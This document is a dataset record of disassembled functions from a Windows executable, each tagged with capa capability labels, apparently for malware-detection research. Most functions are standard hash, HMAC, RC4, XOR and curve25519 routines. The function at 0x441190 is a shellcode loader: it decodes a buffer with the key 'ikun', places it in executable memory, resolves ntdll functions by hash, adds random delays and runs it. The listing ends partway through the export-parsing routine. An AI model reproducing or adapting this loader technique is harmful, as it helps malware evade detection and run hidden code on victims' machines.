joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422ab0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push edi
mov ebx, dword [ecx + 0x80]
mov edi, dword [ecx + 0x84]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], edi
test eax, eax
je 0x422ba9
push esi
mov esi, dword [ebp + 8]
dec eax
shr eax, 3
add esi, 2
inc eax
mov dword [ebp + 0xc], eax
nop word [eax + eax]
movzx ebx, byte [esi - 2]
movzx eax, byte [esi - 1]
movzx edi, byte [esi + 2]
shl ebx, 8
or ebx, eax
shl edi, 8
movzx eax, byte [esi]
shl ebx, 8
or ebx, eax
movzx eax, byte [esi + 1]
shl ebx, 8
or ebx, eax
movzx eax, byte [esi + 3]
or edi, eax
movzx eax, byte [esi + 4]
shl edi, 8
or edi, eax
movzx eax, byte [esi + 5]
push ecx
shl edi, 8
or edi, eax
lea eax, [ebp - 0x10]
push edi
push ebx
push eax
call fcn.00422ca0
mov ecx, dword [ebp - 4]
lea esi, [esi + 8]
xor ecx, dword [ebp - 0x10]
add esp, 0x10
mov edx, dword [ebp - 8]
mov eax, ecx
xor edx, dword [ebp - 0xc]
shr eax, 0x18
mov byte [esi - 0xa], al
mov eax, ecx
shr eax, 0x10
mov byte [esi - 9], al
mov eax, ecx
shr eax, 8
mov byte [esi - 8], al
mov eax, edx
shr eax, 0x18
mov byte [esi - 6], al
mov eax, edx
shr eax, 0x10
mov byte [esi - 5], al
mov eax, edx
shr eax, 8
sub dword [ebp + 0xc], 1
mov byte [esi - 7], cl
mov ecx, dword [ebp + 0x10]
mov byte [esi - 4], al
mov byte [esi - 3], dl
mov dword [ebp - 4], ebx
mov dword [ebp - 8], edi
jne 0x422af0
mov eax, ecx
pop esi
mov dword [eax + 0x84], edi
pop edi
mov dword [eax + 0x80], ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ecx + 0x84], edi
pop edi
mov dword [ecx + 0x80], ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x422bc0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 8
push ebx
push edi
mov edi, dword [ebp + 0x10]
mov edx, dword [edi + 0x80]
mov ebx, dword [edi + 0x84]
test eax, eax
je 0x422c8b
push esi
mov esi, dword [ebp + 8]
dec eax
shr eax, 3
add esi, 2
inc eax
mov dword [ebp + 0x10], eax
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi - 1]
xor ecx, ebx
push edi
push ecx
movzx ecx, byte [esi - 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
lea eax, [ebp - 8]
xor ecx, edx
push ecx
push eax
call fcn.00423680
mov edx, dword [ebp - 8]
lea esi, [esi + 8]
mov ebx, dword [ebp - 4]
mov eax, edx
shr eax, 0x18
add esp, 0x10
mov byte [esi - 0xa], al
mov eax, edx
shr eax, 0x10
mov byte [esi - 9], al
mov eax, edx
shr eax, 8
mov byte [esi - 8], al
mov eax, ebx
shr eax, 0x18
mov byte [esi - 6], al
mov eax, ebx
shr eax, 0x10
mov byte [esi - 5], al
mov eax, ebx
shr eax, 8
sub dword [ebp + 0x10], 1
mov byte [esi - 7], dl
mov byte [esi - 4], al
mov byte [esi - 3], bl
jne 0x422bf1
pop esi
mov dword [edi + 0x84], ebx
mov dword [edi + 0x80], edx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi + 0x80]
mov ecx, dword [edi + 0x84]
mov dword [ebp - 4], eax
mov dword [ebp + 0x10], ecx
test ebx, ebx
je 0x4242ea
dec ebx
shr ebx, 3
push esi
mov esi, dword [ebp + 8]
inc ebx
push edi
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00423680
lea eax, [edi + 0x88]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push dword [ebp - 0xc]
push eax
call fcn.00422ca0
lea eax, [edi + 0x110]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push dword [ebp - 0xc]
push eax
call fcn.00423680
mov ecx, dword [ebp - 0xc]
lea esi, [esi + 8]
xor byte [esi - 5], cl
mov eax, ecx
shr eax, 0x18
add esp, 0x30
xor byte [esi - 8], al
mov eax, ecx
mov edx, dword [ebp - 4]
shr eax, 0x10
xor byte [esi - 7], al
mov eax, ecx
mov ecx, dword [ebp - 8]
xor byte [esi - 1], cl
shr eax, 8
xor byte [esi - 6], al
mov eax, ecx
shr eax, 0x18
xor byte [esi - 4], al
mov eax, ecx
shr eax, 0x10
xor byte [esi - 3], al
mov eax, ecx
mov ecx, dword [ebp + 0x10]
shr eax, 8
xor byte [esi - 2], al
add ecx, 1
lea eax, [edx + 1]
mov dword [ebp + 0x10], ecx
cmovne eax, edx
mov dword [ebp - 4], eax
sub ebx, 1
jne 0x424251
pop esi
mov dword [edi + 0x84], ecx
mov dword [edi + 0x80], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4279b0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x120], esi
mov eax, dword [esi]
test eax, eax
jne 0x4279f4
lea eax, [esi + 0x20]
push ebx
push eax
call fcn.00428970
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x427aa3
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.00431ab0
mov edi, dword [esi + 0xc]
add esp, 4
shr edi, 3
xor esi, esi
test edi, edi
je 0x427a4a
nop dword [eax]
push esi
push ebx
call fcn.0041f0f0
mov byte [ebp - 0x119], al
lea eax, [ebp - 0x119]
push 1
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00431540
inc esi
add esp, 0x14
cmp esi, edi
jl 0x427a20
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00431760
mov al, byte [ebp - 0x25]
and byte [ebp - 0x44], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 0x25], al
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.0041f240
mov ecx, dword [ebp - 0x120]
mov edi, eax
add ecx, 0x1c
push edi
push ecx
call fcn.00428970
push edi
mov esi, eax
call fcn.0041f7e0
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
Function at 0x4291c0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov eax, dword [eax + 0x10]
mov eax, dword [eax]
call eax
push 0x1c
push 1
mov edi, eax
call fcn.00406150
mov esi, eax
add esp, 8
mov dword [esi], 0
mov dword [esi + 4], edi
cmp dword [edi], 1
jne 0x42926b
xorps xmm0, xmm0
xor edi, edi
movups xmmword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x14], xmm0
call fcn.0042d1b0
mov byte [ebp + edi - 0x24], al
inc edi
cmp edi, 0x20
jb 0x429207
mov al, byte [ebp - 5]
and byte [ebp - 0x24], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.0041f240
mov dword [esi + 0x18], eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.004463c0
mov eax, dword [esi + 0x18]
add esp, 0x10
test eax, eax
jne 0x429262
push esi
call fcn.00406130
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
push eax
mov eax, dword [esi + 4]
add eax, 0x1c
jmp 0x42928a
push dword [edi + 0x1c]
push dword [0x485718]
call fcn.0041f470
add esp, 8
mov dword [esi + 0x18], eax
test eax, eax
je 0x429247
push eax
mov eax, dword [esi + 4]
add eax, 0x20
push eax
call fcn.00428970
mov ecx, eax
add esp, 8
test ecx, ecx
jne 0x4292bc
push dword [esi + 0x18]
call fcn.0041f7e0
push esi
call fcn.00406130
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 4]
mov dword [esi + 8], eax
mov eax, dword [ecx + 8]
push ecx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0
call fcn.00406130
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, esi
xor ecx, ebp
pop edi
pop esi
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret

Function at 0x4296c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xb8
pop ebp
jmp fcn.004299c0

Function at 0x42a5f0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret
Function at 0x42a6e0
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0044de60
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x42a737
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x42a734
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x42a720
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.00429930
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.004299c0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0044de60
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x42a778
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x42a778
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x42a764
lea esi, [ebx + 0x5c]
push esi
call fcn.00429930
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.004299c0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004463c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
Function at 0x42d290
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4887ac], 0
push esi
push edi
jne 0x42d3f7
push fcn.0042d020
mov dword [0x4887ac], 1
call fcn.004480d0
push 0x488768
push 0x488754
call fcn.00431f40
movups xmm0, xmmword [0x488754]
mov eax, dword [0x488764]
add esp, 0xc
mov dword [0x4887a8], 0
movups xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x74], 2
nop
movups xmm0, xmmword [0x4882a0]
mov esi, 0x49c
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [0x4882b0]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x4882c0]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x4882d0]
movups xmmword [ebp - 0x40], xmm0
xor eax, dword [esi + 0x4882b0]
mov ecx, dword [ebp - 0x30]
xor ecx, dword [esi + 0x4882a0]
xor edi, dword [esi + 0x4882a4]
xor edx, dword [esi + 0x4882a8]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x24]
xor ecx, dword [esi + 0x4882ac]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
push eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
call fcn.00431f40
mov eax, dword [ebp - 0x30]
add esp, 8
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [esi + 0x4882a0], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 0x4882a4], edi
mov dword [esi + 0x4882a8], edx
mov dword [esi + 0x4882ac], ecx
mov dword [esi + 0x4882b0], eax
sub esi, 0x14
jns 0x42d341
sub dword [ebp - 0x74], 1
jne 0x42d310
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00431f40
movups xmm0, xmmword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
add esp, 8
mov dword [0x488764], eax
movups xmmword [0x488754], xmm0
mov dword [0x488750], 0x14
mov dword [0x4887ac], 0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0044c9ef
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x42e2f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], ecx
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x54], ebx
test eax, eax
jle 0x42e4bb
push esi
push edi
mov edi, dword [edx + 0x14]
cmp eax, edi
mov byte [ebp - 0x45], cl
cmovle edi, eax
mov eax, ecx
shr eax, 0x18
mov byte [ebp - 0x48], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0x47], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x46], al
mov eax, dword [edx]
mov dword [ebp - 0x60], edi
call eax
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x50]
mov esi, eax
push dword [ebp - 0x58]
push esi
mov ecx, dword [ecx + 8]
call ecx
push 4
lea eax, [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 8]
call eax
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x4c]
add esp, 0x20
inc ecx
xor eax, eax
mov dword [ebp - 0x4c], ecx
test edi, edi
jle 0x42e4a1
cmp edi, 8
jb 0x42e480
lea edx, [ebx - 1]
lea ecx, [ebp + edi - 0x45]
add edx, edi
cmp ebx, ecx
ja 0x42e3b1
lea ecx, [ebp - 0x44]
cmp edx, ecx
jae 0x42e480
cmp edi, 0x40
jb 0x42e43c
mov ecx, edi
and ecx, 0x8000003f
jns 0x42e3c9
dec ecx
or ecx, 0xffffffc0
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea edi, [ebp - 0x34]
sub esi, ebx
lea ecx, [ebx + 0x20]
sub edi, ebx
mov dword [ebp - 0x5c], edi
mov ebx, edi
nop
movups xmm0, xmmword [ecx - 0x20]
lea edi, [ebp - 0x44]
movups xmm1, xmmword [edi + eax]
mov edi, dword [ebp - 0x60]
lea ecx, [ecx + 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x50]
movups xmm1, xmmword [ebp + eax - 0x34]
add eax, 0x40
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
movups xmm1, xmmword [esi + ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm1, xmmword [ebx + ecx - 0x40]
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jl 0x42e3e0
mov ebx, dword [ebp - 0x54]
mov ecx, edi
and cl, 0x3f
cmp cl, 8
jb 0x42e47c
mov ecx, edi
and ecx, 0x80000007
jns 0x42e44b
dec ecx
or ecx, 0xfffffff8
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea ecx, [eax + ebx]
sub esi, ebx
nop word [eax + eax]
movq xmm1, qword [ecx + esi]
lea ecx, [ecx + 8]
movq xmm0, qword [ecx - 8]
add eax, 8
xorps xmm1, xmm0
movq qword [ecx - 8], xmm1
cmp eax, edx
jl 0x42e460
cmp eax, edi
jge 0x42e49e
lea esi, [ebp - 0x44]
lea edx, [eax + ebx]
sub esi, ebx
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, edi
jl 0x42e490
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp + 0x18]
add ebx, edi
mov edx, dword [ebp - 0x50]
sub eax, edi
mov dword [ebp - 0x54], ebx
mov dword [ebp + 0x18], eax
test eax, eax
jg 0x42e325
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
Function at 0x42ef60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xd8
pop ebp
jmp fcn.0042f640
Function at 0x42f740
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
pop ebp
ret

Function at 0x42f9b0
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0044de60
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x42fa07
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x42fa04
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x42f9f0
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0042f920
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0042f640
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0044de60
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x42fa48
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x42fa48
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x42fa34
lea esi, [ebx + 0x6c]
push esi
call fcn.0042f920
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0042f640
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004463c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
Function at 0x431c80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xc0
pop ebp
jmp fcn.004321a0
Function at 0x4322a0
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
pop ebp
ret

Function at 0x432590
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0044de60
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x4325e7
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x4325e4
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x4325d0
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.00432420
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.004321a0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0044de60
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x432628
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x432628
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x432614
lea esi, [ebx + 0x60]
push esi
call fcn.00432420
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.004321a0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004463c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret
Function at 0x441190
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00444b30
test eax, eax
je 0x441392
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [str.ikun]
mov dword [ebp - 0xc], eax
mov al, byte [0x479a08]
mov byte [ebp - 8], al
mov eax, 0x88888889
imul dword [ebp - 0x1b8]
add edx, dword [ebp - 0x1b8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0xfffffff8
jne 0x441392
call fcn.00444b30
test eax, eax
je 0x441392
lea ecx, [ebp - 0xc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441207
sub ecx, edx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00443990
add esp, 0xc
xor esi, esi
push 1
lea eax, [esi + 0x4857a8]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00443910
inc esi
add esp, 0xc
cmp esi, 0x1e48
jb 0x441226
push 0x40
push 0x1000
push 0x1e48
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1e48
mov edi, eax
push 0x4857a8
push edi
call fcn.0044d8e0
add esp, 0xc
test edi, edi
je 0x441392
call fcn.00444b30
test eax, eax
je 0x441392
call fcn.00458328
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.004413b0
add esp, 4
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 0xb9903ada
push esi
call fcn.00442de0
mov ebx, eax
call fcn.00458328
cdq
mov ecx, 0x1a
idiv ecx
imul ecx, edx, 0x7d0
push ecx
call fcn.004413b0
add esp, 0xc
test ebx, ebx
jne 0x4412f1
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret 0x10
call fcn.00458328
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.004413b0
push 0
push 0
call edi
push 0xc1cdffb1
push esi
call fcn.00442de0
add esp, 0x14
mov esi, eax
push 0x1e48
push edi
call esi
call fcn.00458328
cdq
mov ecx, 0x1a
idiv ecx
imul ecx, edx, 0x7d0
push ecx
call fcn.004413b0
add esp, 4
push 0x1e48
push edi
call esi
call fcn.00458328
cdq
mov esi, 0x1a
idiv esi
imul eax, edx, 0x7d0
push eax
call fcn.004413b0
add esp, 4
push 0
push edi
call ebx
call fcn.00458328
cdq
idiv esi
imul eax, edx, 0x7d0
push eax
call fcn.004413b0
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret 0x10

Function at 0x441720
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00441910
push dword [0x489c40]
call fcn.00406130
mov eax, dword [0x489824]
add esp, 4
test eax, eax
je 0x441746
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
call fcn.00446a80
push 2
push dword [0x48bb5c]
call fcn.00401470
add esp, 8
cmp eax, 3
jne 0x441765
call fcn.00448290
call fcn.004064e0
call dword [sym.imp.ole32.dll_CoUninitialize]
push dword [ebp + 8]
call fcn.00458312
int3
Function at 0x441950
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x487680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x441999
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x489fbc]
js 0x441985
cmp eax, 0x32
jl 0x441a81
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x489fbc], eax
jmp 0x441a69
cmp eax, 3
jne 0x441a28
push 0x6c
push dword [0x48bb5c]
call fcn.00401470
mov ecx, dword [0x489fb0]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4419d1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x441a69
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.004017f0
push dword [0x4693d4]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.004017f0
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x48bb7c]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x48bb5c]
call fcn.00401660
add esp, 0xc
jmp 0x441a69
cmp eax, 4
jne 0x441a69
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x489fc0]
js 0x441a42
cmp eax, 0x32
jl 0x441a81
cmp dword [0x48bad0], 2
jne 0x441a5a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x441a62
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x489fc0], eax
mov eax, dword [0x48bb70]
cmp dword [eax + 0x134], 0
jne 0x441a81
push 2
call fcn.00442ad0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0044c9ef
mov esp, ebp
pop ebp
ret

Function at 0x442de0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
mov ebx, dword [eax + edi + 0x1c]
lea ecx, [ebx + edi]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + edi + 0x20]
mov eax, dword [eax + edi + 0x24]
add ecx, edi
add eax, edi
mov dword [ebp + 8], ecx
mov dword [ebp - 4], eax
test ebx, ebx
je 0x442e30
mov eax, dword [ecx + esi*4]
add eax, edi
push eax
call fcn.00441560
add esp, 4
cmp eax, dword [ebp + 0xc]
je 0x442e39
mov ecx, dword [ebp + 8]
inc esi
cmp esi, ebx
